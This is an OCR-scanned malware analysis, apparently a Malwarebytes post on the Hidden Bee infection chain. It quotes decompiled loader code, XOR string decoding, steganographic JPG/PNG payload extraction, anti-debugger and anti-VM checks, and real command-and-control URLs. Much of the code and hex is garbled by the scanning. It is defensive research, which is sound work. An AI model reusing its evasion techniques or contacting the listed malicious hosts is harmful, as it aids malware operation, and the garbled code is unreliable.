{
F malloc,
(__stdecall *)(int))to_memcpy;
int))virtualAlloc;
T i int {__ int))virtualFree;
decode memory(&lnput arr); /! "IwQueryInformationProcess”
= decode_memory (&str_ntdll d1ll);
/8 = GetModuleHandlef(v7);
functions_list[5] = ( nt (__stdecall *)(int))GetProcAddress(vs, v9);// ZwQueryInformationProcess
new_module(functions list, custom_fs, fs_size);
VirtualFree(new_ medule, @, axseebu) ;
}
}

The way in which it is loaded reminds me of the elements we described recently in “Hidden Bee: Let’s go down

the rabbit hole“. The current module loads a list of functions that will be passed to the next module. It is a
minimalistic, custom version of Import Table. It also passes the memory with the downloaded filesystem to be

used for further loading of components.

The !rcx package

This element retrieves the custom filesystem used by this malware. As we know from previous analysis, Hidden
Bee uses its own, custom filesystems that are mounted in the memory of the malware and passed to its
components. This filesystem is important for the execution flow because it contains many other components that

are supposed to be installed on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an !rcx package. After this package is downloaded, and its
SHA?256 checksum is validated, it is repackaged. First, at the end of the !rcx package, the list of URLs (JPG,
PNG) from the previous module is copied. Then, the ARIA key is copied. The size of the module and its SHA256

hash are updated. Then, the execution is redirected to the first stage shellcode fetched from the !rcx.

This shellcode was the one that we saw at first, after decoding the !rcx package from the JPG. Yet, looking at this
part, we do not see anything malicious. The elements that are more important are well protected and revealed at

the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and prepares the second.

First, it loads its own imports using hardcoded names of libraries.
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eaeaaaBl sub edi, ecx

282883 mov [ebp+var_4C], EEh ; "K'
BERBEAEY mov [ebp+var_4aA], &5h ; ‘e’
BPRBBAEF mov [ebp+var_48], 72h ; 'r'
2eepaacs mov [ebp+var_46], GEh ; 'n’
aeesaacE mov [ebp+var_44], &65h ; 'e'
aeaeea0l mov [ebp+var_4@], 33h ; '3°
aeae8a07 mov [ebp+var 3E], 32h ; '2°
282800 mov [ebp+var_3C], 2Eh ; ".°
2E28ERE3 mov [ebptvar_3A], E4h ; "d°
BERBBAES mov [ebp+var_18], &Eh ; 'n’
BEBBBAEF mov [ebp+var_16], 74h ; 't'
BERBRAFS mov [ebp+var_14], &64h ; 'd’
BERBRAFE mov [ebpt+var_E], 2Eh ; ".'
2eae8181 mov [ebp+var _C], &4h ; "d’
aeaee187 mov ebx, [esi]

The checksums of the functions that are going to be used are stored in the module and compared with the names

calculated by the function:

llunsigned int _ stdcall calc_checksum(_ BYTE *func_name)
2

3| _BYTE *_func_name; // edx

4| unsigned int checksum; // eax

5| char next_char; // cl

G| unsigned int prev_res; // esi

7| int _next _char; [/ eax

a8

9| _func_name = func_name;

18| checksum = @;

11| for { next_char = *func_name; next_char; ++ _func_name )
12| {

13 prev_res = (checksum >» 13) | (checksum << 19);

14 _next _char = next_char;

15 next_char = func_name[1];

16 checksum = prev_res + _next_char;

17| 1}

13| return checksum;

19[}

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from ntdIl.dll:
RtlAllocateHeap, RtlFreeHeap, NtQueryInformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the Entry Point of the first

shellcode. It is most important because the second stage shellcode will be unpacked from the supplied !rcx

package.
Ll 4
2eesal99 mov ebx, [ebpt+arg_C]
aeesaloc mov ecx, [ebx+d]
2eae819F cmp dword ptr [ecx], 'ker!’
Geaa81AS jnz loc_28B

A new memory area is allocated, and the second stage shellcode is unpacked there.
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new_module_ep = 83

vl5 = GetProcessHeap(8, *((_BYTE **}i + 2));
vl6 = (_BYTE *)RtlAllocateHeap(vlS);

indx = @;

buffer = vle:

if ((vie )

1

if ( *((_DWORD *)i + 2) > @u )

w18 = i + 16 - v16;

do

{
++inde;
*v16 = v16[v18] ~ @xEl;
+vl6;

h
while ( indx < *({_DWORD *}i + 2) };
_to _rcx_ptr = to_rcx_ptr;

allocated bufl = (unsigned _ intl6 *)_allocated_bufl;
if ( decode_module(
(int)&virtualalloc,// loaded_functions_list
(int)buffer,
*((_DWORD *)i + 2),
(int)_allocated_bufl,
F((_DWORD *)i 4 3)) == *((_DWORD *)i + 3) )
new_module_ep = allocated bufl;
v2@ = GetProcessHeap(@®, buffer});
RtlFreeHeap(v2e);
if ( new_module_ep )
((void (_ stdeall *)(int (_ stdcall **)(_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD)}new module ep)(
&virtualalloc, // loaded_functions_list
flag,
_to_rcx_ptr[1],
*_to_rcx_ptr);

result = (unsigned _ intlé *)VirtualFree(_allocated_bufl, @, @x3000);

Inside the second shellcode, we see strings referencing further components of the Hidden Bee malware:
/bin/i386/preload /bin/i386/coredll.bin

The role of the second stage is unpacking another part from the !rcx: an !rdx package.

if (Crdx ptr )

w32 = v18[3];
crypt_init(&crypt ctx, &crypt keybuf);
dec_size = @;
if ( wie[2] )

{
chunk_ptr = (_BYTE *)sizea;
for { 1 = (int)((char *)v18 - sizea + 16); ; i = (int)}({{char *)vl@ - sizea + 16} )
1
crypt_round{chunk_ptr, &chunk_ptr[i], (int)&crypt_ctx);
dec_size += 16;
chunk_ptr += 16;
if ( (unsigned int)dec_size »= v1e[2] )
break;
b

rdx_ptr = _rdx_ptr;

if ( decompress{(int)functions_list, (int)rdx_ptr, &332, sizea, v18[2]) )
goto LABEL_38;
w17 = ((int (__stdcall *)(signed int, signed int))}functions_list[2])(8, 12);

w18 = (_DWORD *)((int (__stdcall *)(int))functions_list[3])(v17)};
v3id = vl1g;
if ( 'vis )

goto LABEL_38;
*v18 = rdx_ptr;
if ( *rdx ptr == ‘fdr!’
1
v18[1] rdx_ptr + 13
v1g[2] = vie[3];

}
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aeeessly mov [eax], ebx
aeeerslE cmp dword ptr [ebx], 'xdr!’
@eeae621 jnz short loc 631

From our previous experience, we know that the !rdx package is a custom filesystem containing modules. Indeed,

after the decryption is complete, the custom filesystem is revealed:

HESEESER FUSH ERX
HASEESE 1 CALL HBESEZESE crypt_init
HASEESEE AHD OWORD FTE S5:[EEBF+EXC]. G:&
HASEESER CHF OWORD PTR DS:[ESI+E4S],@xE
HESEEEEE |+ | JEE SHORT HBRSSHSF2

BASEEECH HMal EEX, OWORD FTE S5:[EEF+8x18]
BASEESCS LEA ERX,DOWORD PTR DS:[ESI+@x18]
BESEESCE SUE ERH, EBX

HESEESCE MO OWORD FTRE S5: [EEF+EXE1. EAX
FESEESCE [+ | JHP SHORT EBRS&RS0E

HASEESCD Mal ERx, OWORD FTR S5:[EEBF+E25]
BASEES0R LER ECX,OWORD PTR 55:[EBP-8u15C]
HESEEE0E ROD ERX, EBX

BASEEE0S FUSH ECH

BASEES0Y FUSH ERX

BESEES0A FUSH EEX

HESEES0E CALL BBS&z192 crypt_round
HESEESER AOD OWORD FTR S5:[EEF+8MC]. 0= 19
HHSEESES AODO EE:X, Ex 1@

HASEEASET Mo ERX, OWORD FTE S5: [EEBF+ExC]
HESEESER CHP ERX, OWORD PTE DS:[ESI+E#E]
BEASEESED |~ | JE SHORT GAS&ESCD

BASEESEF MOL EEX, OWORD FTRE S5: [EEF-B8181
BESEESF 2 FUSH OWORD PTR DOS5:CESI+@xE]
HESEESFS LER ERx, OWORD PTR S55: [EBFP-B2C]
HESEESF S FUSH OWORD PTR 55: CEEP+@:168]
HHSEESFE FUSH ERX

HASEESFC FUSH EEX

HHSEEEFD FUSH EDI

CALL B8SEBEAE

ARG E TEST ERX,ERAX

BESEEEES [+ | JHE SHORT BBS&EE4E

HESEEEET FUSH &xiC

FHSEEEED FUSH &x3

CHLL DHERD FTR DO5:CEDI+@R:3] kernel32.GetProcessHeap

e e e TR

4
ERx=BE88E8EHE

Address | Hen dump ASCIT

gizipadclzl 72 64 FEIZ2 BE DR B0 ED @1 DB B0 20 G5 08 08| frda'™.. .70, 08,
HlzigEcs| 62 69 6E ZF 69 22 38 3¢ 2F ¥@ 72 65 &C &F &1 4| bin-iZ8é-preload
HisiBEcc| 08 B0 45 A8 08 B8 60 B3 08 B8 BA 2C 81 88 62 69| ..E...rll. .. B.b1
BisieErs|6E 2F 61 6D &4 35 34 2F 63 6F 72 65 &4 6L &0 ZE|n-amdéd-coredll.
EizipEzci 62 69 EE BB DA &4 OB B0 BB &D 24 Bl B8 B8 89 08 bin..d...mdB....
EizipEscied 62 €9 6B 2F &1 D 64 26 24 2F 7O ¥2 &£ &C &F|.binsamdedsprelo
EiziBEns 61 &4 BE BB OF B0 BE B0 S0 20 Bl B0 18 G5 00 00) ad..g... ;=B k..
GiziBEps 62 €9 EE 2F &9 22 22 26 2ZF &B 7@ 6C EF &1 &4 &5\ bin-i288-kploade
@lzi@EEce| v2 ZE 62 69 SE BB DA AD 0B @0 BE YD 42 @1 688 08| r.bin..g... 2B0..
BlzigEns| 10 88 68 62 &9 6E 2F 61 &0 &4 26 34 ZF &2 &F &D|..bin<amd&d-con
HisiBEES| 60 6F 6E ZE &4 &C &C B0 BA CE 98 828 88 70 SE Bl mon.dll..fFa.. 30
BisiBEFS| B8 B0 45 B8 B8 &2 &9 6E ZF 69 33 38 36 ZF 6B 6C|..E..bin~s1386-k ]
EiziBEinsfeF &1 &4 65 Y2 ZE &2 69 E6E @O BB ES B0 B8 88 70| ocader.bin..fi...}
Ei2iEiicfA2 61 B 62 OF BB BR &2 &9 6E 2F ¥2 &8 &9 &0 ZE|uB.h-..binsshim.
Eizi@izelel €9 EE BB 0E @Y B1 B0 BB EE DR B1 BB 20 60 08 bin..-8..6 B.0..
Gizimizoion 62 &9 6E|ZF &1 6D 64 26 24 2ZF ¥B F2 2ZE &2 69| .binsamdédspr.bi
Ei2i@E142(6E ZE 72 69 5F BB DA 22 01 @0 0B &5 AE Bl 88 28| n.zig..(8..e30.0
Hizi@icc|og 80 B8 62 &2 6E ZF 69 35 3% 26 2F F8 ¥2 ZE &2|...binsiZ86-pr.b
BisiEics| 6% 6E 2E 73 6% &7 DA B0 45 81 B8 B8 ES HE 81 08| in.sig..FB. 620,
Hisi@ivc|oa BH B8 B8 52 &9 6E 2F &1 60 &4 36 34 2F 7B 72| ....bin- andéd- pr
Eizi@ise| 2B 62 €9 6E DA BB &2 A1 BB B8 ES BS 81 B8 80 02 .bin..cd..hAB..0
Eizi@icociod BE 62 &9 6B 2F €9 223 28 26 2F VO F2 2E 62 €9 ..bin-si22cspr.bi
Ei2i@Einsf6E GO BE 27 6] B0 GE EE BD @1 0B FO BE 08 G0 &2\ n..ql..h20.-%..b
Gizi@ipe| e 6E 2F &1 6D &4 26 24 2ZF EB 7@ &C EF &1 &4 &E| insamdéd-kploade
@i2i@ice|v2 ZE 62 69 SE BB DA AZ Bl @0 6@ DS C2 @l 688 08| r.bin. .EB..AME..
Hizi@ibs| 16 88 B8 62 &2 6E ZF 69 33 3% 26 2F &2 &F &0 &D| ... bin~ 1386 comm
Bi21B1ES|6F 6E 2E &4 6L &C BB B8 CH 81 B8 B8 DS 0P 81 08 on.dll. .8, .FHE,
gisi@iFcioa ZE 81 88 62 &9 6E 2F 69 33 38 36 ZF 63 &F 72| ..8.bin-i386-cor
EiziEzas 65 &4 6C &C ZE &2 €9 EE DB BE BB B0 B8 B8 DS 67 edll.bin...... -
EiziEz1oi@2 60 28 B2 0@ B8 &2 69 6E 2F &1 60 &4 26 24 2F| e (M. binsamdéds
Eizipzzol el 6C 6F &1 &4 65 72 2E &2 €9 6E BO BB 98 98 98|k loader.bin..EEE
Ei2iE=22 B2 2E OO G0 0F B0 DR B0 OB B0 0B B0 OB B GE O RM. . ...cciieana
GiziBz40| 08 B0 60 A0 08 B0 OB B0 DB B0 0B B0 BB SB OB E5| ... ..0000.. koe
HlziE=tcioa 72 B8 6E DB &5 DB &C B8 33 08 32 88 ZE 88 24| .r.n.e. 13020, .d
BisiBzcc{oa 6C B8 &6C 0A BE O BS BA AR AR AR FF 38 FF S8 . l.l... ap
gisi@=rs{@4 FF EB S8/ 5B CC SB DB 53 ER B2 52 51 S8 ES 7H| # OxilrddarfREPR:
EiziE=22{ @2 80 68 C3/ 55 8B EC 82 EC @C 2B 4588 29 45 FCle., HUodag. GEQEER
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So the part that was hidden in the JPG is, in reality, a package that decrypts the custom filesystem and deploys the
next stage modules: /bin/1386/preload and

/bin/i386/coredll.bin

. This filesystem has even more elements that are loaded at later stages of the infection. Their full functionality

will be described in the next article in our series.
Even more hidden

From the beginning, Hidden Bee malware has been well designed and innovative. Looking at one year of its
evolution, we can be sure that the authors are serious about making it even more stealthy—and they don’t stop

improving it.

Although the initial dropper uses components analogous to ones observed in the past, revealing their encrypted
content now takes many more steps and much more patience. The additional difficulty in the analysis is

introduced by the fact that the URLs and encryption keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee malware won’t be going

extinct anytime soon.

Cffset(h) 00 01 02 03 04 05 06 07 OB 05 OA OB OC OD QE OF Decoded text

00000000 1c 00][72 _00J[oC_0S 00 OOJB8 BE 00 00 [e.d.etuvuens .. HEADERS

oooooo1o [70 06 00 oOfie B8 00 00] 00 00 00 00 Eeennsrnnnsn
08 00 11 00 .... DLLs

00000020 64 TE 24 6E 66 66 00 00 OC 00 26 00 41 d~nEfSnff....&8.B  p||s offset = 0x1C
00000030 4F 58 39 38 24 6E 66 66 00 00 OC 00 OF OXDOF9ESnff.....
00000040 00 48 5L 43 33 38 24 6E 66 66 00 00 08 .KW\KZcassnrr... Stuctdllrecord{
00000050 00 04 62 63 64 6F TE 24 GE 66 €6 00 00 ...Ikncdo~$nff.. WORD name_length,
00000060 OR 0O 59 5C 49 58 SE 24 65 66 66 00 00 ....GY\IX"Snff.. WORD functions_count,

00 00 char name [I; //XCORed

1
00000070 B 9B 5C 88 0B Scm2E k..
00000080 24 75 82 C Ch 96 93 1C $u,.0,,.t»".E-".
00000090 5E 96 93 )4 07 32 B5 50 ~-*,..kO®X{..2uP
00000180 &7 FO 96 7C 3D AD 39 0D C7 OE EO 3D F3 16 E6 F5 #d-|=.9.C.f=4.&8
00000190 FC B0 3E 28 EA 3D 9D 7C | “>.g=t]
64 21 00 00 C3 56 do...&v CODE

000001A0 8B 4C 24 02 8B 44 24 08 33 D2 | 14 38 51 07 <L§.<D§.3M.R.8Q.  Entry Point = 0x050C
000001BO 74 1C 33 F6 39 51 10 88 51 07 8B D6 83 E2 ©.389Q..0.v.<0.4
.
0000B810 00 00 00 00 00 00 RELOCATIONS
0000B820 BF 03 00 00 EL1 03
0000B830 24 04 00 00 2D 04 R Offset = 0xB318
0000B840 55 04 00 00 €1 04 . Size = 0x0670
0000B850 BF 04 00 00 CE 04 0 W1
0000B860 01 05 00 00 79 05 0 R
00008870 BE 05 00 00 CA 05 05 I...E .
0000B880 F2 05 00 00 51 06 00 00 &3 06 00 00 74 06 00 00 H...Q...C...t.

Obfuscation used
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This time, authors decide to obfuscate all the strings used inside the module. Now all the strings are decoded just

before use.
@B3187F5 lea eax, [ebp-2CCh]
BB3187FE push 184h
23188828 push eax ; _DWORD

28318881 push offset unk_317838
eB31le8e6 call decode_memory

@a31eses pop BCX

e@3lesec push eax ; _DWORD

ee3leseD call ds:ExpandEnvircnmentStringsi

The decoding algorithm is simple, based on XOR:

e

=

Pd B2 R R B2

1| BYTE *__cdecl decode_memory( BYTE *input_arr)

2f

3| _BYTE *output_arr; [/ eax

4| unsigned int indx; // esi

5| bool is _finished; // =T

6

7| output_arr = input_arr + @xld;

8| if ( input_arr[7] )

s {

@ indx = @;

1 is finished = *{{_DWORD *}input_arr + 4) == 8;
2 input_arr[7] = 9;

3 if ( !is_finished )

4 {1

= do

; {

7 output_arr[indx] “= input_arr[{indx & 7} + B];
8 ++indug

5 }

8 while { indx < *{{_DWORD *}input_arr + 4) };
L h

2| 3

3| return output_arr;

b

Inside the images downloader

Let’s look inside the first module in the 0x10000401 format that we encountered. This module is an initial stage,

and its role is to download and unpack the other components. One such component is in a CAB format (that’s why

we can see the Cabinet.dll among the imported DLLs).

The role

of this module is similar to the first “WASM” mentioned in our post a year ago. However, the current

version is not only better protected, but also comes with some improvements. This time the downloaded content is

hidden in the images. So, analyzing this element can help us to understand how the used stenography works.

First, we can see that the URLs are retrieved from their Base64 form:
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Ba311658
B@8311656
@a31165C
Ba31165F
@a311B64
Ba311665
88311666
88311666

https://blog.malwarebytes.com /threat-analysis /2019 /08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

Mo
push
lea

push
push
push
call
add

[

EaX

eax, [ebp+targ_@]
offset basebd Str ; "SQBodHRwOiBwvMzguNzUUMTM3Ljke0TALDC 9wdWI" . ..

eax
esi

basetd decode
esp, 1léh

[Ehh+arg:8], eax

a4

This string decodes to a list containing URLSs of the PNG and JPG files that are going to be downloaded. For each

sample, this set is unique. None of the URLSs can be reused: the server gives a response only once. An example of

a URL set:

http://38.75.137.9:9088/pubs/wiki.php?id=937adeadd6f5a94b3738a58dcc79cal3 http://38.75.137.9:9088/im

So, we can confirm that this module is the one responsible for downloading and processing the observed images.

Indeed, inside we can find the functions responsible for their decoding.

Decoding the JPG

After the payload is retrieved, the JPG header is validated.

1CES
1CBE
1CC1
1CCy
1CCE
1Dl
1CD7
1CoD
1CE1
1CEY
1CEE
1CF1
1CF5S
1CFE
1CFF
1mas
1mas

jz

cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz

loc_311F3C

byte ptr [ebx], BFFh
invalid_payload

byte ptr [ebx+1], @D8h
invalid payload

word ptr [ebx+2], @E@FFh
invalid payload

byte ptr [ebx+s], "1
invalid_payload

byte ptr [ebx+7], 'F'
invalid_payload

byte ptr [ebx+8], 'I'
invalid_payload

byte ptr [ebx+3], 'F'
invalid payload

byte ptr [ebx+8sh], @
invalid_payload

Then, the payload is decoded by simply using an XOR with the last byte. The decoded content is expected to start

from the !rcx magic ID.
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—— v Y
Ll e 55
28311069
@B311069 wor_next:
88311069 xor [eax+esi], cl
@8311D06C inc eax
88311060 cmp eax, [ebx+18h]
@e3110ve jb short xor_next
% L |
=
Be311D072
88311072 loc_311072:
@8311072 cmp [esi+4], edi
@8311D075 ja invalid payload
Y
Ll i 5=
@831107E cmp dword ptr [ksi], 'xcr!’
@8311D081 jnz invalid payload

After decoding the content, the hash of the !rcx module is validated with the help of SHA256 hash. The valid hash
is stored in the module’s header and compared with the calculated hash of the file content.

288311087 lea eax, [esi+s]
28311084 push 32
2@831108C push eax

@8311080 lea eax, [ebptvar_4C)]
@8311098 push eax

8311091 mov [ebptarg_e], 48
288311098 lea edi, [esi+28h]

88311098 call j_memcpy
28311048 push 32

288311042 lea eax, [esi+s]
883110A5 push @

283110A7 push eax

@83110A8 call j_memset
@83110AD lea eax, [ebp+var_BC]
88311083 push eax

88311064 call sha256_init
28311089 push [ebp+var_4]
@8@83110BC lea eax, [ebptwvar BC]
883110C2 push esi

2@83110C3 push eax

@83110C4 call sha256_hash

@83110C9 lea eax, [ebp+var_BC]
@883110CF push eax
8311008 lea eax, [esi+d]

28311003 push eax

28311004 call sha25&_finish
288311009 lea eax, [esi+s]
2831100C push 32

@831100DE push eax

@83110DF lea eax, [ebpt+var_4C)]
@883110E2 push eax

@83110E3 call h_memcmp
@@83110DEE add esp, 3Ch
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If the validation passed, the shellcode stored in the !rcx module is loaded. More details about the execution flow

will be given later.

il )=

Ba311ELF
@8311E1F loc 311E1F: 3 _DWORD
@B311E1F push 4ah
BB311E21 push 1ee8h 3 _DWORD
BB311E26 push dword ptr [edit+3] ; _DWORD
@8311E29 push ) ; _DWORD
@8311E28 call ds:WirtualAlloc
B8311E31 test eax, eax
BB311E33 mov [ebpt+shellcode_mem], eax
@B311E36 jz short loc 311E48

— |

L |
FEE
BB311E38 push dword ptr [edi+d]
@B311E3E add edi, 1eéh
@B311E3E push edi
BB311E3F push eax
B8311E48 call j_memcpy
BB311E45 add esp, 8Ch

|

The !rcx package has a simple header:

Cffsec(h) 00 01 02 03 04 05 06 OT 08 0% QR OB OC OD
00000000
00000010
00000020
00000030

31 CO 40 90 OF 8
00000040 OO0 OO E8 04 00 OO0 00 OF 00 &0 OC 58 &0 64
Q00000050 30 OO0 00 00 52 51 50 56 E8 44 00 00 00 61
00000060 54 24 04 BE 44 24 OC 56 8B 74 24 0OC 57 8
00000070 OF BT 02 42 42 23 F8 41 7C 08 83 F& 54 TF
00000080 CO 20 OF BT OE 46 46 83 F9 41 T7C 08 83 F3
00000090 03 83 C1 20 3B DT 73 04 3B C1 74 D4 5F 2B
000000RA0 C3 52 8B EC 83 EC 4C BB 45 08 53 5o 57 &b
000000BO 6A &C 58 33 C9 66 89 45 BE 66 895 45 C8 66
000000C0 CA &6 89 45 EE &6 89 45 FO &6 895 45 F6& &6

Decoding the PNG

Retrieving the content from the PNG is more complex.

T
R

Frin;

o
= ]

" 5 Ak )
S
Lt kg D Lo e

First, after downloading, the PNG header is checked:
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Decoded text
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Magic: Irex
Size
SHA256

Code
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8@83116CE loc 3116CE:

883116CE lea eax, [ebptvar &]
88311601 push 8

88311603 push eax

88311604 push edi

@83116D5 xor esi, esi
88311607 mov [ebp+var_8], 89h
@8831160E mov [ebp+var_7], 'P'
@8831160F mov [ebp+var_&], 'N'
883116E3 mov [ebp+var_ 5], 'G'
883116E7 mov [ebp+var_4], @Dh
8B83116EE mov [ebp+var_3], @sh
BB83116EF mov [ebp+var_2], 1ah
BB3116F3 mov [ebp+var_1], @ah
@B3116F7 call j_memcmp
883116FC add esp, BCh

The function decoding the PNG has the following flow:

33| decoded buf = @;

34| png_hdr = @x89u;

35| w1z = 'P';

36| v N

37 G

38 '

39 "\n';

40 = 26;

41| vis = 1e;

42| if ( !'j_memcmp(payload, &png_hdr, B) )

43 decoded_buf = (_BYTE *)decode_from png(payload, functions_list, &size);
44| result = free(payload);

45| if ( decoded buf )

46| {

47 if ( !(size & 3) )

48

49 buf_ptr = deceded_buf;

5@ aria_set_key((unsigned int *)&crypt_ctx, aria_key_ptr + 4, *(_DWORD *)aria_key ptr);
51 j_memset(aria_key ptr + 4, @, *(_DWORD *)aria_key_ptr);

52 if ( size )

53 {

54 do

55 I

56 aria_crypt_round(&crypt_ctx, buf_ptr, buf_ptr);

57 index += 16;

58 buf_ptr += 16;

59

68 while ( index ¢ size };

&1 }

62 if { *decoded_buf == "M" && decoded_buf[1] == 'S’ && decoded_buf[2] == 'C' && decocded_buf[3] == 'F' }
&3 {

64 if ( unpack_cab(&v1@, (int)decoded buf, size) )

65

66 module_name = decode_memory((int)sub_317EE4);// "bin/i386/core.sdb”
67 load from_package{index, (int)decoded_buf, (int)}&v1e, module_name, @);
68 free_module(&via);

69 }

78 }

71

72 result = free(decoded_buf);

73| }

74| return result;

75}

It converts the PNG into byte content and decrypts it with the help of ARIA cipher. The result should be a CAB
format. The unpacked CAB is supposed to contain a module “bin/i386/core.sdb” that also occurred in our previous

encounters with Hidden Bee.

The authors are careful not to reuse URLs as well as encryption keys. That’s why the Aria key is different for

every unique payload. It is stored just after the end of the 0x10000401 module :
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During the module’s loading, the key is rewritten into another memory area, from which it is used to decrypt the

downloaded module.

@83185C4 movzx  ecx, word ptr [esi] ; copy the ARIA key

883185C7 mov [eax], ecx

883185C9 mov eax, ds:aria_key ptr
883185CE push dword ptr [eax]
@a318508 add eax, 4

88318503 push ebx
88318504 push eax
@p318s505 call j_memcpy
@p3185DA add esp, @Ch

e

88318500 loc_31@5D0:

@e31850D cmp ds:aria_key ptr, @
8B83185E4 jnz short continue_to download
|1
Ll s
Ba3185Ee @a31a85EE
8@83185E6 loc_31@5E6: 3 _DWORD| @@31@5EE kcntinue_tc_dcwnlcad: 3 _DWORD
B8@83185E6 push ] BB3185EE push 7
283185E8 call ds:ExitProcess ea3lesFe call ds:SetErrortode
883185F6 mov eax, [ebp+param]
883185F9 push dword ptr [eax+@Ch]
883185FC call download_and_deccde_images
B0318681 jmp loc_318AF1

The CAB file retrieved from the PNG is available here: 001bdc26b2845dcf839f67a8760c6839

\Z > @ Location: |i /bin/i386/

Name v | Size Type Modified
iz core.sdb 26.7 kB unknown 01 January 1970, 01:00

It contains core.sdb (d1a2fdc79¢154b120a0e52c46a73478d). That is a second module in Hidden Bee’s custom

format.
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Inside core.sdb

This module (retrieved from the PNG) is a second downloader component in the 0x10000401 format. This time, it
uses a custom TCP-based protocol, referenced by the authors as SLTP. (This protocol was also used by the

analogical component seen one year ago). The embedded links:

sltp://dns.howtocom.site:1108/minimal.bin?id=998 sltp://bbs.favcom.space:1108/setup.bin?id=999

Execution flow

1. Checks for blacklisted processes. If any are detected, exits.

2. Removes functions:

DbgBreakPoint

DbgUserBreakPoint
by overwriting their beginning with the RET instruction.
3. Checks if the malware is already installed. If yes, exits.
4. Creates an installation mutex

{71BB7F1C-D700-4487-B9C6-6DD9863DFE91}-ins.

5. If the module was run with the flag==1:

1. Connects to the first address:

sltp://dns.howtocom.site:1108/minimal.bin?id=998

2. Sets an environment variable
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INSTALL_SOURCE

to the value given as an argument.
3. Runs the downloaded next stage module.
6. If the module was run with the flag!=1:
1. Performs checks against VM. If detected, exits.

2. Connects to the second address:

sltp://bbs.favcom.space:1108/setup.bin?id=999

. This time, appends the victim’s fingerprint to the URL. Format:

&sid=&sz=&os=8ar=

3. Runs the downloaded next stage module.

Defensive checks

At this stage, many anti-analysis checks are deployed. First, there are checks to detect if any of the blacklisted
processes are running. The enumeration of the processes is implemented using a low-level function:

NtQuerySystemInformation with a parameter 5 (

SystemProcessInformation
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36 j_memset{(int}vl, @, SystemInformationLength};
37 if ( INtQuerySystemInformation(v3, 5, v2, SystemInformationLength, &SystemInformationLength) )
38

39 while ( !blacklisted _processes[@] )

4a

41|check_next:

42 if ( !*(_DWORD *}v2 )

43 goto finished;

a4 v2 += *(_DWORD *)v2;

45 1

46 next_proc_name = blacklisted_processes;

47 _next_proc_name = blacklisted_processes;

43 while ( 1 )

49

5@ RtlInitUnicodestring(&ve, *next_proc_name);
51 if ( (_WORD)vE == *(({_WORD *)v2 + 28) )
52

53 if ( (unsigned _ int8)RtlEqualUnicodeString(&ve, v2 + 56, 1) )
54 break;

55 1

56 next_proc_name = _next proc_name + 1;

57 _next_proc_name = next_proc_namej

58 if ( !*next_proc_name )}

59 goto check_next;

60 1

61 blacklisted found = 1;

62

63 [Finished:

64 LocalFree(v7);

65

66 return blacklisted found;

67}

The blacklist contains popular debuggers and sniffers:

“devenv.exe” , “wireshark.exe”, “vmacthlp.exe”, “procmon.exe”, “ollydbg.exe”, “idag.exe”,

» &«

“ImmunityDebugger.exe”, “windbg.exe”

» o«

“EHSniffer.exe”, “iris.exe”, “procexp.exe”, “filemon.exe”, “fiddler.exe”

The names of the processes are obfuscated, so they are not visible on the strings list. If any of those processes are

detected, the execution of the module terminates.
Another function deploys a set of anti-VM checks. The anti-VM checks include:

46| ms_exc.registration.Trylevel = @;
47| CPUID check(&/27, Bx40000000);
48| *(_DWORD *)v33 = v28;
49| *(_DWORD *)&33[4] = v2
58| *(_DWORD *)&33[8] = v3
51| ms_exc.registration.Trylevel = -1;
52| HIBYTE(v34) = @;

53| if ( VPCEXT_check() )

54 goto set_wm_flag;

55| if ( VMWare io check() )

56 goto set _wm_flag;

PG -

L

-
A=
e

CPUID with EAX=40000000 (a_check for Hypervisor’s Brand):

- a -

B824335CB push hBBBBBBBh

82433500 lea eax, [ebpt+var_544]
@2433506 push eax

82433507 call CPUID check
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82433414 pusha

8243341 mov eax, [ebptarg_ 4]
A243341E wor ehw, ehx
B2433428 xor BCH, BCX
A2433422 wor edx, edx
82433424 cpuid

B2433426 mov edi, [ebptarg_g]

The VMWAre 1/0 Port (more details [here]):

A243353A mov eax, VMKh'

@243353F mov ebx, 8

82433544 mov ecx, Bah

82433549 mov edx, "WVX'

B243354E in eax, dx ; check for Wware
B243354F cmp eba, "VMIh'

@2433555 set:z [ebp+var_1C]

VPCEXT instruction (more details [here])

B824334B3 push ebx
@2433464 mov ehx, @
82433489 mov eax, 1
B24334BE wpcext 7, @Bh
@24334C2 test ehx, ebx
82433404 setz [ebptvar_1C]

Checking the list of common VM vendors:
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57
58
59
68
6l
62
63
a4
65
66
67
63
69
78
71
72
73
74
75
76
77
78
79
o8
a8l
a2
83
a4
a5
26
a7
28

https://blog.malwarebytes.com /threat-analysis /2019 /08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

ve = decode_memory(&str_XenVMMXenViMM) ; JI " XenVMMenviiM™

if { !strncmp{v33, wve, 12} )
goto set_wm_flag;

vl = decode_memory(&str_VMWareVMware); J "VMwareVMware”

if ( Istrncmp(v33, vi, 12} )
goto set vm_flag;

w2 = decocE_memory{&str_KUHWHKUH}; £ KVMKVMVM"

if { !strncmp(v33, v2, 12} )

goto set_wvm_flag;
v3 = decode_memory({&str KVMIKVMKVM) ; JI T IEMEVMICVM™
if { !strncmp{v33, v3, 12) )

goto set_wm_flag;
vd = decode_memory(&unk_2435F78); " lrpepyh  wr
if ( !strncmp(v33, v4, 12) )

goto set_vm_flag;
v5 = decode_memory(&unk 2435F58); // "sbiedll.dll™

if { GetModuleHandleA(vS) )
goto set_wm_flag;

if { leetComputerNameW(Buffer, &nSize) )
goto set_wm_flag;

= (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"

WE
if ( !lstrecmpilW(Buffer, wv&) )
goto set_vm_flag;
nsize = 1824;
if ( !GetUserNameW(Buffer, &nSize) )
goto set_wm_flag;
w7 = {const WCHAR *)decode_memory(&unk_2435F88);//
if { !1strompiW(Buffer, w7} )
goto set_wm_flag;

= (const WCHAR *)decode memory(dword 2435F34);// L"SANDBOX"

wB
if { !1strempil{Buffer, wva) )
goto set_vm_flag;

Checking the BIOS versions typical for virtual environments:

83
98
91

92| StrStrIA = GetProcAddress(shlwapi dll, va);

93| if ( !strstria )

94 goto not_detected;

